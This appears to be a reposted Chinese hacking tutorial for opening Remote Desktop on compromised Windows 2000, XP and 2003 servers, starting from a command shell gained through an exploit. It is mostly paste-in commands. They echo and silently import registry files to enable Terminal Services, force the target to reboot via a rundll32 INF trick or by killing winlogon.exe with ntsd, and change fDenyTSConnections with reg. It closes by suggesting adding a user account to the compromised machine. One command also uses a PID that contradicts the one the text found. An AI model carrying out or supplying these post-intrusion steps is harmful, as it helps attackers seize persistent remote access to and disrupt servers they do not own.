CMD 下开3389命令 2000 2003/XP 适用于只得到CMD的条件下入侵

来源:互联网 发布:欧洲卡车模拟mac版 编辑:程序博客网 时间:2024/06/05 12:05

一、win 2k下终端开启终端
首先用ECHO写一个3389.reg文件,然后导入到注册表,echo代码如下:

echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg
echo "Enabled"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg
echo "ShutdownWithoutLogon"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
echo "TSEnabled"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg 
echo "Hotkey"="1" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg 
echo "PortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg

(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)

简单说明一下,">"符号是覆盖写入文件,如无此文件则创建,有则覆盖原来的内容写入。">>"是追加写入,即在原有文件内容的基础上在后面写入内容。这里是写入内容到3389.reg文件中!需要注意的是第二行,那个作用是写入一行空格,至于为什么需要这样,那是因为.reg文件的格式必须如此!成功写入完毕后接着执行导入操作,执行"regedit /s 3389.reg"。这样注册表文件就已经顺利导入到注册表里去了。不过需要注意的是在cmdshell下不要输错任何一个字符,否则将无法执行,建议先自己打好在记事本上,确保无误之后再复制到cmdshell窗口执行。

因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效。
然后需要做的事就是重启了,如何使目标服务器重启呢?和朋友多方测试后,觉得用下面这个方法比较妥当。

(1)在cmdshell下执行如下代码:

@ECHO OFF & cd/d %temp% & echo [version] > {out}.inf 
(set inf=InstallHinfSection DefaultInstall) 
echo signature=$chicago$ >> {out}.inf 
echo [defaultinstall] >> {out}.inf
rundll32 setupapi,%inf% 1 %temp%\{out}.inf r

按顺序将以上五行代码一行一行地复制到cmdshell上,复制完一行按一次回车执行,五行都执行完毕后,服务器就会重启的了。至于原理什么的我就不废话了。当然了,让服务器重启的方法比较多,比如结束掉系统关键进程、代码模拟按键等都是可以的,不过个人认为上面推荐的这个方法比较保险!如无意外,等待服务器完成重启之后再连接目标发现远程桌面服务已经成功开启了。

(2)一个简单的办法就是用ntsd.exe(win 2k以上自带的命令)结束一个重要的进程就可以实现机器重启了!!比如结束winlogon.exe,lsass.exe也可以但结束后会跳出重启倒计时(不太好~)
winlogon.exe被关闭后机器立刻强制重启了。
命令执行格式为ntsd -c q -p PID 200               ntsd.exe winlogon.exe
那如何知道winlogon.exe的PID进程号呢~
以下这个脚本可以列举当前所有进程的PID:

wscript.echo "PID ProcessName"
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ 
wscript.echo ps.handle&vbtab&ps.name
next
在CMDSHELL窗口下贴上如下ECHO代码就可以得到查看进程PID的脚本1.vbe:
echo wscript.echo "PID ProcessName">>1.vbe
echo for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ >>1.vbe
echo wscript.echo ps.handle^&vbtab^&ps.name>>1.vbe
echo next>>1.vbe

生成1.vbe后请检查一下echo出来的脚本是否有错(才四行,对一下上面给出的就可以了)。
运行1.vbe得到如下运行结果:

C:\WINNT\system32>cscript 1.vbe
cscript 1.vbe
Microsoft (R) Windows 脚本宿主版本 5.1 for Windows
版权所有(C) Microsoft Corporation 1996-1999. All rights reserved.

PID ProcessName
0 System Idle Process
8 System
152 smss.exe
180 csrss.exe
200 winlogon.exe
228 services.exe
240 lsass.exe
424 svchost.exe
472 spoolsv.exe
512 msdtc.exe
616 svchost.exe
628 KAVSvc.EXE
660 llssrv.exe
692 nvsvc32.exe
728 regsvc.exe
748 MSTask.exe
776 alter.exe
900 svchost.exe
916 WinMgmt.exe
1088 Dfssvc.exe
484 Explorer.EXE
1444 mdm.exe
1340 Server.exe
1224 ibguard.exe
1252 KAVSvcUI.EXE
1256 ibserver.exe
1336 internat.exe
1204 Uspds.exe
720 bar.exe
1288 dllhost.exe
1580 inetinfo.exe
1672 cmd.exe
1464 pppoe.exe
1704 regedit.exe
316 cscript.exe

从上面可以看出当前winlogon.exe的PID号为200运行命令ntsd -c q -p 252 (这里的200要替换为winlogon.exe进程对就的PID啦)过会儿机器马上重启了(ntsd.exe是WIN自带的可用来结束任意级别进程)等着收获吧~~


二、winxp和win2003终端开启

相对于2000的系统来说,XP和2003cmdshell下开启远程桌面服务就比较容易一些了,起码无需重启嘛!第一种方法也是用"echo"命令写入一个 3389.reg文件,再"regedit /s 3389.reg"导入注册表文件即可开启,比较简单,与上面介绍的2000的开启方法类似。将如下代码一行一行地复制到cmdshell窗口后按回车执行: 

echo Windows Registry Editor Version 5.00 >3389.reg 
echo. >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg 
echo "fDenyTSConnections"=dword:00000000 >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg 
echo "PortNumber"=dword:00000d3d >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg 
echo "PortNumber"=dword:00000d3d >>3389.reg 

完成以上操作后再执行"regedit /s 3389.reg"导入即可生效!不过这个方法相对来说比较麻烦,也比较复杂一些。我们还可以用另外一种比较简单的方法来开启远程桌面服务的,嘿嘿。在介绍另一个操作方法之前,我们先来熟悉下2003系统下远程桌面服务的一个最关键的注册表键值。
在"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"

下数值名称为"fDenyTSConnections"的这一项,可以看到它的数值数据为1或0。数值为1的时候关闭远程桌面服务,数值为0的时候开启远程桌面服务。换句话说,我们只要可以在cmdshell下更改这个关键的注册表键值数据就可以达到实现开启远程桌面服务的目的了!有幸的是,在XP和2003下有一个"reg"命令完全可以做到这一点。

嘿嘿。这里我们找一台操作系统为2003的服务器,通过和上面介绍的同样方法溢出后返回一个cmdshell,当我们尝试连接的时候会发现根本无法连接上去,下面详细说明一下用"reg"命令开启远程桌面服务。

查看注册表键值执行:
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" 
我们发现"fDenyTSConnections"键值数据为"0x1",这个是十六进制数的1。上面提到,数据为1则没有开启远程桌面服务。我们要做的就是把"0x1"改成"0x0"!直接用"reg add"是不行的,必须把原来键值删掉再添加!

在cmdshell下执行: 
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections 
会询问是否"要删除注册表值 fDenyTSConnections 吗",当然Yes了,

再执行: 
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
提示操作成功完成。

再查看注册表键值执行:
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"

我们可以查看一下,看看是不是真的改掉了,发现已经成功更改了数据,现在再来连接服务器的3389看看,发现已经可以成功连接上了,加个用户进去参观咯。

原创粉丝点击